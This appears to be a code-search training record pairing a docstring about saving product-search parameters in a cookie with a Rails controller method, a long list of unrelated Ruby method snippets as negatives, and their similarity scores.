"def index\n @brand = Brand.find(params[:brand_id])\n @models = @brand.models\n\n\n respond_to do |format|\n format.html {redirect_to @brand}\n format.json { render json: @models }\n end\n end",
"def index\n @title = t :model_index_title\n \n @models = Model.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @models }\n end\n end",
"def load_models\n url = Configuration::PROPERTIES.get_property :url\n url_get_records = Configuration::PROPERTIES.get_property :url_get_models\n\n url_get_records = url_get_records.gsub '{csk}', URI::encode(@credential[:csk])\n url_get_records = url_get_records.gsub '{aci}', URI::encode(@credential[:aci])\n\n response = DynamicService::ServiceCaller.call_service url + url_get_records, {}, 'get'\n\n json = JSON.parse(response)\n unless json['status'] == 200\n raise json['message']\n end\n\n models = []\n array = json['models']\n array.each do |item|\n model = Dynamicloud::API::Model::RecordModel.new item['id'].to_i\n model.name = item['name']\n model.description = item['description']\n\n models.push model\n end\n\n models\n end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def set_model\n @model = Response.find(params[:id])\n end",
"def model\n @model\n end",
"def model\n @model\n end",
"def model\n @model\n end",
"def model\n @model\n end",
"def show\n @modelo = Modelo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @modelo }\n end\n end",
"def get_models_for_make_id\n render json: vehicle_service.get_models_for_make_id(params[:make_id])\n end",
"def obj\n @model\n end",
"def index\n @revenue_models = RevenueModel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @revenue_models }\n end\n end",
"def index\n @device_models = DeviceModel.all\n end",
"def models\r\n\r\n end",
"def show\n @models = @project.models.all\n end",
"def get_model( options )\n return options[:model] if options[:model]\n return options[:node].getModel if options[:node] && options[:node].resource? && options[:node].getModel\n default_model\n end",
"def index\n @orids = Orid.all\n end",
"def get_model_array\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/response/model'\n _query_builder = APIHelper.append_url_with_query_parameters(\n _query_builder,\n 'array' => true\n )\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url,\n headers: _headers\n )\n _response = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n return nil if _response.status_code == 404\n validate_response(_response)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n decoded.map { |element| Person.from_hash(element) }\n end",
"def models(make, year, category)\n make_id = get_object_id make\n category_id = get_object_id category\n response = get_url \"Models/#{make_id}/#{year}/#{category_id}\"\n response_obj = JSON.parse response\n response_obj[\"GetModelsResult\"].map{|r| Models::Model.from_response_hash(r)}\n end",
"def get_models\n relatable_category_id = params[:car_calculator][:fuel_type]\n relatable_category_ids = params[:car_calculator][:relatable_category_ids]\n result = CarApp.calculated_session.related_categories_from_relatable_category(relatable_category_id, \"model\", :relatable_category_ids => relatable_category_ids) \n final_result = []\n result = (result || []).each_pair do |key, value| \n final_result << {:name => value, :value => key}\n end\n render :json => {:options => final_result}.to_json\n end",
"def index\n @modeles = Modele.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @modeles }\n end\n end",
"def index\n @models = Model.order(:name).paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @models }\n end\n end",
"def index\n @modelos = Modelo.all\n end",
"def model\n __getobj__\n end",
"def index\n @foros = Foro.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @foros }\n end\n end",
"def index\n @ordenes = Orden.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ordenes }\n end\n end",
"def model(make_of_model: '')\n return fetch(\"vehicle.models_by_make.#{make}\") if make_of_model.empty?\n\n fetch(\"vehicle.models_by_make.#{make_of_model}\")\n end",
"def get_models_for_make_id_year\n render json: vehicle_service.get_models_for_make_id_year(params[:make_id], params[:make_year])\n end",
"def index\n @trainmodels = Trainmodel.all\n end",
"def lookup_model_names; end",
"def index\n @modeltypes = Modeltype.all\n end",
"def model\n return @model\n end",
"def model\n @opts[:model]\n end",
"def model\n end",
"def model\n end",
"def model\n end",
"def find_bridge_model(name, params={}, headers=default_headers)\n @logger.info(\"Finding the \\\"#{name}\\\" Bridge Model.\")\n get(\"#{@api_url}/models/#{encode(name)}\", params, headers)\n end",
"def index\n @gltf_models = GltfModel.all\n end",
"def show\n @foo_model = FooModel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @foo_model }\n end\n end",
"def index\n @my_models = MyModel.all\n end",
"def index\n @model_lists = ModelList.all\n end",
"def api_model\n api_model_nane.constantize\n end",
"def index\n @linear_models = LinearModel.all\n end",
"def get_model_files(options); end",
"def index\n @hello_models = HelloModel.all\n end",
"def model\n @filtered_rset.model\n end",
"def oid_model_params\n params[:oid_model]\n end",
"def model_param\n params[:model]\n end",
"def index\n @system_models = SystemModel.all\n end",
"def model\n return @model\n end",
"def model\n return @model\n end",
"def index\n #@models = Model.all\n @categories = Category.all\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @models }\n end\n end",
"def index\n if params[:vehicle_id]\n @vehicle = Vehicle.find(params[:vehicle_id])\n @vehicle_features = @vehicle.features\n end\n @feature = Feature.new\n @features = Feature.all\n @all_features = Feature.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @features }\n end\n end",
"def index\n @load_vehicle = LoadVehicle.all\n respond_to do |format|\n format.json { render json: @load_vehicle }\n end\n end",
"def models\n @models ||= {}\n end",
"def show\n @oma_relation_type = OmaRelationType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @oma_relation_type }\n end\n end",
"def index\n @fakemodels = Fakemodel.all\n end",
"def get_model\n # the base uri for api requests\n _query_builder = Configuration.base_uri.dup\n\n # prepare query string for API call\n _query_builder << '/response/model'\n\n # validate and preprocess url\n _query_url = APIHelper.clean_url _query_builder\n\n # prepare headers\n _headers = {\n 'user-agent' => 'Stamplay SDK',\n 'accept' => 'application/json'\n }\n\n # Create the HttpRequest object for the call\n _http_request = @http_client.get _query_url, headers: _headers\n \n # Call the on_before_request callback\n @http_call_back.on_before_request(_http_request) if @http_call_back\n\n # Invoke the API call and get the response\n _response = @http_client.execute_as_string(_http_request)\n\n # Call the on_after_response callback\n @http_call_back.on_after_response(_response) if @http_call_back\n\n # Endpoint error handling using HTTP status codes.\n if _response.status_code == 404\n return nil\n end\n\n # Global error handling using HTTP status codes.\n validate_response(_response)\n\n # Return appropriate response type\n decoded = APIHelper.json_deserialize(_response.raw_body)\n return Employee.from_hash(decoded)\n end",
"def list_models\n\t@models.each do |model|\n\t\tputs \"#{@models.index(model)}: #{model}\"\n\tend\nend",
"def model\n @values.fetch('ai.device.model') { \n @values['ai.device.model'] = nil\n }\n end",
"def index\n @ordems = Ordem.all\n end",
"def index\n @eobs = Eob.assigned\n @title = \"Posted EOBs\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @eobs }\n end\n end",
"def show\n @orgtab = Orgtab.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orgtab }\n end\n end"
] |
[
"0.65786946",
"0.6238855",
"0.61046416",
"0.6029444",
"0.60079145",
"0.59760475",
"0.59760475",
"0.59065425",
"0.59057623",
"0.58922684",
"0.5887183",
"0.5846745",
"0.5807929",
"0.5745284",
"0.57041675",
"0.56968236",
"0.5691075",
"0.5687457",
"0.56665486",
"0.56414896",
"0.5640202",
"0.5640202",
"0.5640202",
"0.56283796",
"0.55928564",
"0.5589166",
"0.558423",
"0.5581783",
"0.55775595",
"0.55733025",
"0.5562694",
"0.5562694",
"0.5562694",
"0.5562694",
"0.5562694",
"0.5562694",
"0.5562694",
"0.5562694",
"0.5562694",
"0.5562694",
"0.5560335",
"0.5560084",
"0.5560084",
"0.5560084",
"0.5560084",
"0.5559724",
"0.5552921",
"0.5551315",
"0.5542269",
"0.5534656",
"0.5525126",
"0.5498397",
"0.54932165",
"0.5489698",
"0.54863024",
"0.548501",
"0.54754984",
"0.545971",
"0.54570305",
"0.5455423",
"0.5451529",
"0.5444256",
"0.54356414",
"0.54315376",
"0.54213256",
"0.54201394",
"0.54107636",
"0.54085934",
"0.54071164",
"0.5394063",
"0.53902066",
"0.53902066",
"0.53902066",
"0.5389533",
"0.5358548",
"0.53486633",
"0.53460604",
"0.53455377",
"0.5338352",
"0.5337289",
"0.53200704",
"0.53178054",
"0.53169405",
"0.5314962",
"0.53110564",
"0.53046125",
"0.53045076",
"0.53045076",
"0.53013104",
"0.5293177",
"0.5292886",
"0.5291233",
"0.52902657",
"0.52873677",
"0.52868176",
"0.52840537",
"0.5282483",
"0.5282029",
"0.5267913",
"0.5262434"
] |
0.7106116
|
0
|
This method is called when the form containing the search parameters is submitted. It saves the search parameters in a cookie for use in paging.
|
def create
admin_last_url
cookies[:product_search] = {:value => YAML::dump(params[:product_search]),
:path => admin_product_search_path}
logger.info "Admin::ProductSearchesController#create params=#{params[:product_search]}"
do_search params[:product_search]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @search = Product.search(params[:q])\n \n if params[:q].present?\n cookies.permanent.signed[:search_keyword] = {\n value: params[:q]\n }\n else\n cookies.permanent.signed[:search_keyword] = {\n value: \"\"\n }\n end\n @products = @search.result\n @search.build_condition\n end",
"def initialize_search\n session[:search_name] = params[:search_name]\n session[:search_species] = params[:search_species]\n session[:search_body_temperature] = params[:search_body_temperature]\n session[:search_age] = params[:search_age]\n end",
"def set_position\n if @search_form.search_location == I18n.t('conf.current_location')\n # erase cookie so that next time the current location will be used again\n cookies[:last_search_location] = nil\n else\n # set cookie so that next time the same location will be prefilled\n cookies[:last_search_location] = {\n value: @search_form.location_for_cookie,\n expires: 3.months.from_now\n }\n end\n end",
"def save_current_search_params\n # If it's got anything other than controller, action, total, we\n # consider it an actual search to be saved. Can't predict exactly\n # what the keys for a search will be, due to possible extra plugins.\n return if (search_session.keys - [:controller, :action, :total, :counter, :commit ]) == []\n params_copy = search_session.clone # don't think we need a deep copy for this\n params_copy.delete(:page)\n\n unless @searches.collect { |search| search.query_params }.include?(params_copy)\n\n #new_search = Search.create(:query_params => params_copy)\n\n new_search = Search.new\n new_search.assign_attributes({:query_params => params_copy}, :without_protection => true)\n new_search.save\n\n session[:history].unshift(new_search.id)\n # Only keep most recent X searches in history, for performance.\n # both database (fetching em all), and cookies (session is in cookie)\n session[:history] = session[:history].slice(0, Blacklight::Catalog::SearchHistoryWindow )\n end\n end",
"def show\n admin_last_url\n search_params = YAML::load(cookies[:product_search])\n search_params[:page] = params[:page]\n do_search search_params\n end",
"def search_params\n if params[:q] == nil\n params[:q] = session['search_key']\n end\n if params[:q]\n session['search_key'] = params[:q]\n end\n params[:q]\n end",
"def save_current_search_params\n # If it's got anything other than controller, action, total, we\n # consider it an actual search to be saved. Can't predict exactly\n # what the keys for a search will be, due to possible extra plugins.\n# return if (search_session.keys - [:controller, :action, :total, :counter, :commit ]) == []\n# params_copy_h = search_session.clone # don't think we need a deep copy for this\n# params_copy_h.delete(:page)\n# params_copy = ActiveSupport::HashWithIndifferentAccess.new(params_copy_h)\n\n# unless @searches.collect { |search| search.query_params }.include?(params_copy)\n\n #new_search = Search.create(:query_params => params_copy)\n\n# new_search = Search.new\n# new_search.assign_attributes({:query_params => params_copy}, :without_protection => true)\n# new_search.save\n\n# session[:history].unshift(new_search.id)\n # Only keep most recent X searches in history, for performance.\n # both database (fetching em all), and cookies (session is in cookie)\n# session[:history] = session[:history].slice(0, Blacklight::Catalog::SearchHistoryWindow )\n# end\n end",
"def search_params\n if params[:q] == nil\n params[:q] = session[search_key]\n end\n if params[:q]\n session[search_key] = params[:q]\n end\n params[:q]\n end",
"def prepare_saved_search_params\n # get previous advanced search from session if any\n if session[:crm_borrowed_items_search_details] != nil\n @search = session[:crm_borrowed_items_search_details]\n else\n @search = CrmBorrowedItemsSearchDetails.new\n end\n \n new_search = false\n search_params = params[:search]\n \n if !search_params.blank?\n search_params.keys.map{ |k| new_search = true unless @search.send(k) == search_params[k] }\n else\n new_search = true\n end\n \n if new_search\n session[:crm_borrowed_items_search_details] = []\n \n if !search_params.blank?\n search_params.keys.map{|k| @search.send(k+'=', search_params[k])}\n end \n session[:crm_borrowed_items_search_details] = @search\n end\n \n end",
"def save_current_search_params\n return if search_session[:q].blank? && search_session[:f].blank?\n params_copy = search_session.clone # don't think we need a deep copy for this\n params_copy.delete(:page)\n unless @searches.collect { |search| search.query_params }.include?(params_copy)\n new_search = Search.create(:query_params => params_copy)\n session[:history].unshift(new_search.id)\n end\n end",
"def prepare_saved_search_params\n # get previous advanced search from session if any\n if session[:crm_communication_search_details] != nil\n @search = session[:crm_communication_search_details]\n else\n @search = CrmCommunicationSearchDetails.new\n end\n \n newSearch=false\n search_params = params[:search]\n \n if !search_params.blank?\n search_params.keys.map{ |k| \n if @search.send(k) != search_params[k]\n newSearch=true\n \n end\n }\n else\n newSearch=true\n end\n \n if newSearch\n session[:crm_communication_search_details]=[]\n \n if !search_params.blank?\n search_params.keys.map{|k| @search.send(k+'=', search_params[k])}\n end \n session[:crm_communication_search_details] = @search\n end\n \n end",
"def set_status\n status = params[:search][:status]\n if status.present?\n @search_status = status.to_sym\n else\n @search_status = :all\n end\n cookies[:search_status] = @search_status\n end",
"def save_location\n session[:location] ||= params[:search_location]\n end",
"def prepare_saved_search_params\n # get previous advanced search from session if any\n if session[:adv_crm_contacts_search_details] != nil\n @search = session[:adv_crm_contacts_search_details]\n else\n @search = CrmContactsAdvancedSearchDetails.new\n end\n \n newSearch=false\n search_params = params[:search]\n \n if !search_params.blank?\n search_params.keys.map{ |k| \n if @search.send(k) != search_params[k]\n newSearch=true\n \n end\n }\n else\n newSearch=true\n end\n \n if newSearch\n session[:adv_crm_contacts_search_details]=[]\n \n if !search_params.blank?\n search_params.keys.map{|k| @search.send(k+'=', search_params[k])}\n end \n session[:adv_crm_contacts_search_details] = @search\n end\n \n end",
"def touch_and_customize_cookies\n agent = Mechanize.new\n # retrieve the jsessionid and init the cookies\n begin\n agent.get(FORM_URL)\n rescue Mechanize::ResponseCodeError => e \n end\n\n agent.get(SEARCH_URL)\n agent.get(\"http://www.smc.gov.sg/PRSCPDS/scripts/profSearch/searchList.jsp?page=0&spectext=\")\n \n agent\nend",
"def touch_and_customize_cookies\n agent = Mechanize.new\n # retrieve the jsessionid and init the cookies\n begin\n agent.get(FORM_URL)\n rescue Mechanize::ResponseCodeError => e \n end\n\n agent.get(SEARCH_URL)\n agent.get(\"http://www.smc.gov.sg/PRSCPDS/scripts/profSearch/searchList.jsp?page=0&spectext=\")\n \n agent\nend",
"def init_search_form\n @search_form = SearchForm.new(cookies, search_params)\n end",
"def search\n pi = page_info\n pi.record = SearchForm.new(model, params[:edgarj_search_form])\n pi.page = 1\n pi.save!\n @search = pi.record\n prepare_list if @search.valid?\n end",
"def search_session\n session[:search] ||= {}\n end",
"def index\n #Search function defined privately below; params[:search] from search_form in index.html.erb\n key_search(params[:search])\n end",
"def search_box_set(hash)\n session[:search_box_parameters] = {\n :title_search_box_genuine => \"Search a Product or service\",\n :title_search_box_results => \"Search a Product or service\",\n :title_2_search_form_results => \"Search again\",\n :title_2_search_form_genuine => \"Enter your text\",\n :title_2_search_categories => \"or Browse categories\",\n :title_1_search_result => \"Your search results\",\n :postfix_html_genuine => \"\",\n :postfix_html_results => \"\",\n :search_image_link => \"/products\",\n :search_select_link => nil,\n :search_action_link => nil,\n :product_ids_selected => [],\n :title_process_with_selected => \"process with #nb_products products selected\"\n }\n hash.each { |key, value| session[:search_box_parameters][key] = value }\n end",
"def serialize_preset_search_params\n form_params = preset_search_params.to_unsafe_hash\n accessions = form_params[:accession_list].blank? ? [] : form_params[:accession_list].split.map(&:strip)\n facets = form_params[:facet_filters].blank? ? [] : form_params[:facet_filters].split('+').map(&:strip)\n terms = []\n if form_params[:search_terms].present? && form_params[:search_terms].include?(\"\\\"\")\n form_params[:search_terms].split(\"\\\"\").each do |substring|\n if substring.start_with?(' ') || substring.end_with?(' ')\n terms += substring.strip.split\n else\n terms << substring\n end\n end\n else\n terms = form_params[:search_terms].split if form_params[:search_terms].present?\n end\n form_params[:search_terms] = terms.map(&:strip).delete_if(&:blank?)\n form_params[:accession_list] = accessions\n form_params[:facet_filters] = facets\n form_params\n end",
"def form_search(form_name)\n form_filter.set \"#{form_name}\"\n search_link.click\n end",
"def update\n session[:search][:counter] = params[:counter]\n redirect_to :action => \"show\"\n end",
"def search_form\n %@<form accept-charset=\"UTF-8\" action=\"#{view_context.search_index_path}\" id=\"search\" method=\"get\">\n <div class='field'><input id=\"q\" name=\"q\" value=\"#{params[:q]}\" type=\"text\" class=\"textbox\" /></div></form>@.html_safe\n end",
"def carton_search\n # render :inline => %{\n #\t\t<% @content_header_caption = \"'search cartons'\"%>\n #\n #\t\t<%= build_carton_search_form()%>\n #\n #\t\t}, :layout => 'content'\n\n dm_session[:redirect] = true\n dm_session['se_layout'] = 'content'\n @content_header_caption = 'search cartons'\n\n build_remote_search_engine_form(\"receipt_cartons.yml\", \"render_se_cartons_grid\")\n #session[\"receipt_cartons_default_values\"] = Hash.new()\n #session[\"receipt_cartons_default_values\"][\"commodity_code\"] = \"AP\"\n #session[\"receipt_cartons_default_values\"][\"carton_mark_code\"] = \"AP\"\n\n\n end",
"def search_brand\n @disable_nav = false\n search = params['/search_brand'][:search].downcase\n @brands = Brand.where('name LIKE ?', \"%#{search}%\")\n tracked_brands = @brands.pluck(:id).join(' ')\n cookies[:tracked_brands] = tracked_brands\n if params['/search_brand'][:search] == \"\"\n redirect_to users_path, notice: 'sorry, you need to enter something'\n elsif @brands == nil\n redirect_to users_path, notice: 'sorry, no brands where found'\n else \n redirect_to search_results_path\n end\n end",
"def search\n @coordinates = [params[:lat].to_f, params[:lng].to_f]\n session[:search] = @coordinates\n redirect_to places_path\n end",
"def search\n @search = Search.new\n\n expires_in 1.month\n end",
"def persistent_search_form_tags(params) \n tags = ''\n tags << hidden_field_tag('persistent_search[search]', params[:search]) if params[:search]\n tags << hidden_field_tag('persistent_search[sort]', params[:sort]) if params[:sort]\n tags << hidden_field_tag('persistent_search[authors]', params[:authors]) if params[:authors]\n tags << hidden_field_tag('persistent_search[categories]', params[:categories]) if params[:categories]\n tags << hidden_field_tag('persistent_search[document_type]', params[:document_type]) if params[:document_type]\n tags << hidden_field_tag('persistent_search[publisher]', params[:publisher]) if params[:publisher]\n tags << hidden_field_tag('persistent_search[city]', params[:city]) if params[:city]\n tags << hidden_field_tag('persistent_search[page]', params[:page]) if params[:page]\n tags\n end",
"def delete_or_assign_search_session_params\n [:q, :qt, :f, :per_page, :page, :sort, :view].each do |pname|\n params[pname].blank? ? session[:search].delete(pname) : session[:search][pname] = params[pname]\n end\n end",
"def submit_search\n @page.click_button('searchButton')\n end",
"def delete_or_assign_search_session_params\n [:q, :qt, :f, :per_page, :page, :sort].each do |pname|\n params[pname].blank? ? session[:search].delete(pname) : session[:search][pname] = params[pname]\n end\n end",
"def search_with_age\n cookies[:dance] = false\n cookies[:party] = false\n cookies[:weather] = \"\"\n cookies[:genre] = \"\"\n cookies[:feeling] = params[:feeling]\n cookies[:search] = params[:age]\n\n @form_feeling = params[:feeling]\n @tracks = TracksHelper::Track.lyrics_keywords(params[:age], 20).select{ |t| t.match_sentiment(@form_feeling)}\n respond_to do |format|\n if @tracks.length > 0\n format.html {render :show, layout: false}\n format.json {render json: @tracks.map{|track| track.as_json.slice(\"title\", \"artist_name\", \"track_youtube_id\")}}\n else\n flash[:danger] = 'There was a problem'\n format.html { render :_no_results, layout: false }\n format.json { }\n end\n end\nend",
"def update\n adjust_for_results_view\n session[:search][:counter] = params[:counter]\n redirect_to :action => \"show\"\n end",
"def update\n adjust_for_results_view\n session[:search][:counter] = params[:counter]\n redirect_to :action => 'show'\n end",
"def show\n logger.debug cookies\n cookies['keywords']=params[:id]\n redirect_to root_path , status: 303\n end",
"def search \n search_value = \"saree\"\n puts \"search for #{search_value}\"\n\n puts \"clicking on search button\"\n search_field.click\n sleep(2)\n search_field.clear\n sleep(2)\n sleep(2)\n #$driver.find_element(:css, \"#aws_form_search > #appendedInputButtons\").send_keys(\"#{search_value}\")\n search_field.send_keys(\"#{search_value}\")\n sleep(2)\n $driver.find_element(:css, \"#aws_form_search > #submitButton\").click\n sleep(2)\n wait_for_spinner\n title = $driver.find_element(:css, \"#catalog-wrap > h1\").text \n print \"Page title: #{title} \\n\"\n sleep(5)\n end",
"def post\n\t redirect_to search_path( query: params[:query] )\n\tend",
"def get_search_results(page, search_term)\n\t\tsearch_results = page.form_with(:action => '/jobs') do |search|\n\t\t\tsearch.q = search_term\n\t\tend.submit\n\t\tsearch_results\n\tend",
"def search(query)\n @form['query'] = query\n end",
"def scrape(url)\n scrape = Mechanize.new\n scraper = scrape.history_added = Proc.new { sleep 1.0 }\n scraper.get(url) do |page|\n #finding all data within searchform area of the view layer\n form = page.form_with(id: 'searchform') do |s|\n #assigning new values to query, min_price, and max_price\n s['query'] = \"Loft\" #name\n s['min_price'] = 1000\n s['max_price'] = 2000\n end\n #submitting search request with above values and returning results\n data = form.submit\n data_search_results(data)\n end\nend",
"def scrape_list\n agent = Mechanize.new\n page = agent.get(BASE_URL + @filename + '?lang=eng')\n\n form = page.forms.first\n form['__EVENTTARGET'] = 'ctl00$btnSearch'\n scrape_page form.submit\n end",
"def observe_search(frequency = nil, form_id = nil, params = {})\n form_id ||= \"search\"\n observe_form form_id, :url => {:action => \"search\"}, \n :frequency => frequency \n end",
"def delete_or_assign_search_session_params\n session[:search] = {}\n params.each_pair do |key, value|\n session[:search][key.to_sym] = value unless [\"commit\", \"counter\"].include?(key.to_s) ||\n value.blank?\n end\n end",
"def submit_search\n click SEARCH_SUBMIT_BUTTON\n end",
"def index\n \n #ransack保持用コード\n query = params[:q]\n query ||= eval(cookies[:recent_search_history].to_s) \t\n \n #test\n #cookies[:recent_search_history] = nil \n \n #add220617\n case params[:move_flag]\n when \"1\"\n #工事画面から遷移した場合\n construction_id = params[:construction_id]\n query = {\"with_quotation_construction_id\"=> construction_id }\n #検索用クッキーへも保存\n #params[:q] = query\n else\n #工事画面以外 -> 工事の検索条件はクリアする\n if query.present?\n query[:with_quotation_construction_id] = nil\n end\n end\n #\n \n #@q = QuotationHeader.ransack(params[:q]) \n #ransack保持用--上記はこれに置き換える\n @q = QuotationHeader.ransack(query)\n\t \n #ransack保持用コード\n search_history = {\n value: params[:q],\n expires: 24.hours.from_now\n }\n cookies[:recent_search_history] = search_history if params[:q].present?\n #\n \n\t @quotation_headers = @q.result(distinct: true)\n @quotation_headers = @quotation_headers.page(params[:page])\n\t\n end",
"def create_params_cookies\n cookies[:name]={ :expires => 5.minutes.from_now, :value => params[:name] } unless params[:name].nil?\n cookies[:item_id]={ :expires => 5.minutes.from_now, :value => params[:item_id] } unless params[:item_id].nil?\n cookies[:displayed]={ :expires => 5.minutes.from_now, :value => params[:displayed] } unless params[:displayed].nil?\n cookies[:for_sale]={ :expires => 5.minutes.from_now, :value => params[:for_sale] } unless params[:for_sale].nil?\n cookies[:min_price]={ :expires => 5.minutes.from_now, :value => params[:min_price] } unless params[:min_price].nil?\n cookies[:max_price]={ :expires => 5.minutes.from_now, :value => params[:max_price] } unless params[:max_price].nil?\n cookies[:category]={ :expires => 5.minutes.from_now, :value => params[:category] } unless params[:category].nil?\n cookies[:sort]={ :expires => 5.minutes.from_now, :value => params[:sort] } unless params[:sort].nil?\n cookies[:page]={ :expires => 5.minutes.from_now, :value => params[:page] } unless params[:page].nil?\n cookies[:direction]={ :expires => 5.minutes.from_now, :value => params[:direction] } unless params[:direction].nil?\n cookies[:per_page]={ :expires => 5.minutes.from_now, :value => params[:per_page] } unless params[:per_page].nil?\n cookies[:per_page]={ :expires => 5.minutes.from_now, :value => 10 } if cookies[:per_page].blank?\n end",
"def add_search_vrn\n session[:payment_query] = {}\n session[:payment_query][:search] = params.dig(:payment, :vrn_search)\n end",
"def search_and_save\n if params[:q].nil?\n redirect_to root_path\n else\n @dados = []\n url = URI.encode(\"http://search.twitter.com/search.json?q=#{params[:q]}\")\n call url\n Search.create(query: params[:q])\n end\n end",
"def search_form\n #this is finsihed!!\n end",
"def search(keyword)\n $logger.info(\"HomePage: search for #{keyword}\")\n search_field.send_keys keyword\n search_field.submit\n FreelancerSearchResultsPage.new(@driver, $logger)\n end",
"def search\r\n\t\t\t$browser.text_field(:id => 'sb_form_q')\r\n\t\tend",
"def search_deliveries\n# return if authorise_for_web(program_name?, 'read')== false\n\n dm_session[:parameter_fields_values] = nil\n dm_session['se_layout'] = 'content'\n @content_header_caption = \"'search delivery headers'\"\n dm_session[:redirect] = true\n build_remote_search_engine_form(\"search_delivery_headers.yml\", \"submit_deliveries_search\")\n end",
"def set_immediate_search\n opt = request_parameters\n return unless opt.key?(:immediate_search)\n if true?(opt.delete(:immediate_search))\n session['app.search.immediate'] = 'true'\n else\n session.delete('app.search.immediate')\n end\n redirect_to opt\n end",
"def search_box_parameters(title_symbol) session[:search_box_parameters][title_symbol] end",
"def search_box_parameters(title_symbol) session[:search_box_parameters][title_symbol] end",
"def set_search\n @search ||= Question.search(params[:q])\n end",
"def manage_campaign_filter_cookie\n case params[:campaign]\n when nil\n params[:campaign] = cookies[:lead_campaign_filter]\n when \"\"\n cookies.delete(:lead_campaign_filter)\n else\n cookies.permanent[:lead_campaign_filter] = params[:campaign]\n end\n end",
"def search_results(form_values)\n results = form_values.submit\n results.search('p.row')\nend",
"def delete_or_assign_search_session_params\n session[:search] = {}\n params.each_pair do |key, value|\n value = value.to_unsafe_h if key == \"f\"\n session[:search][key.to_sym] = value unless ['commit', 'counter'].include?(key.to_s) ||\n value.blank?\n end\n session[:gearch] = {}\n params.each_pair do |key, value|\n session[:gearch][key.to_sym] = value unless ['commit', 'counter'].include?(key.to_s) ||\n value.blank?\n end\n end",
"def fetch_custom_search_params; end",
"def delete_or_assign_orderly_search_session_params\n session[:orderly_search_params] = {}\n # params_for_ui encodes URL query and faceting parameters)\n # in an orderly Dictionary Hash.\n params_for_ui.each_pair do |key, value|\n session[:orderly_search_params][key] = value\n end\n end",
"def save_last_request\n\t\t# Check if Back-Button is pressed\n\t\tunless @is_back_search\n\t\t\t# Push the last search and thumbnail to stack.\n\t\t\t@searched << @current_search if @current_search != {phrase: \"\", thumbnail: nil}\n\t\t\t@current_search = {phrase: \"\", thumbnail: nil}\n\t\tend\n\t\t@is_back_search = false\n\tend",
"def update_search\n respond_to do |format|\n #byebug\n if params[:q] == nil\n unless search_params.nil?\n #search_params.each do |key, param|\n # search_params[key] = nil\n #end\n search_params[params[:update_filter]] = nil\n session[:search_key][params[:update_filter]] = nil\n end\n #session.delete('search_key')\n else\n if session[:search_key].nil?\n session[:search_key] = {}\n end\n session[:search_key][params[:update_filter]] = params[:q][params[:update_filter]]\n end\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end",
"def track\n # session[:search] = {} unless session[:search].is_a?(Hash)\n # session[:search]['counter'] = params[:counter]\n #\n # # Blacklight wants this....\n # # session[:search]['per_page'] = params[:per_page]\n # # But our per-page/rows value is persisted here:\n # session[:search]['per_page'] = get_browser_option('catalog_per_page')\n\n search_session['counter'] = params[:counter]\n search_session['id'] = params[:search_id]\n search_session['per_page'] = get_browser_option('catalog_per_page')\n\n path = case active_source\n when 'databases'\n databases_show_path\n when 'journals'\n journals_show_path\n when 'archives'\n archives_show_path\n when 'govdocs'\n govdocs_show_path\n when 'new_arrivals'\n new_arrivals_show_path\n else\n { action: 'show' }\n end\n\n # If there's a 'redirect' param (the original 'href' of the clicked link),\n # respect that instead.\n if params[:redirect] && (params[:redirect].starts_with?('/') || params[:redirect] =~ URI.regexp)\n path = URI.parse(params[:redirect]).path\n end\n\n redirect_to path, status: 303\n end",
"def sort_by\n session[:name_of_search] = nil\n\t\tif params['search'] && params['search']['result_sort']\n sort_param = params['search']['result_sort']\n\t\t\tsession[:search_sort_by] = sort_param\n\t\tend\n\t\tif params['search'] && params['search']['result_sort_direction']\n sort_param = params['search']['result_sort_direction']\n\t\t\tsession[:search_sort_by_direction] = sort_param\n\t\tend\n redirect_to :action => 'browse', :phrs => params[:phrs]\n\tend",
"def track\n # session[:search] = {} unless session[:search].is_a?(Hash)\n # session[:search]['counter'] = params[:counter]\n #\n # # Blacklight wants this....\n # # session[:search]['per_page'] = params[:per_page]\n # # But our per-page/rows value is persisted here:\n # session[:search]['per_page'] = get_browser_option('catalog_per_page')\n\n search_session['counter'] = params[:counter]\n search_session['id'] = params[:search_id]\n search_session['per_page'] = get_browser_option('catalog_per_page')\n\n path = case active_source\n when 'databases'\n databases_show_path\n when 'journals'\n journals_show_path\n when 'archives'\n archives_show_path\n when 'new_arrivals'\n new_arrivals_show_path\n else\n { action: 'show' }\n end\n\n # If there's a 'redirect' param (the original 'href' of the clicked link),\n # respect that instead.\n if params[:redirect] && (params[:redirect].starts_with?('/') || params[:redirect] =~ URI.regexp)\n path = URI.parse(params[:redirect]).path\n end\n\n redirect_to path, status: 303\n end",
"def search\n unless params[:q].blank?\n ensure_homepage\n term = \"*#{params[:q].split.join('* OR *')}*\"\n @pages=Page.paginate_search(term,:page=>params[:page])\n else\n flash[:notice]='Please Specify a Search Term'\n end\n @search=true\n render :action=>'index'\n end",
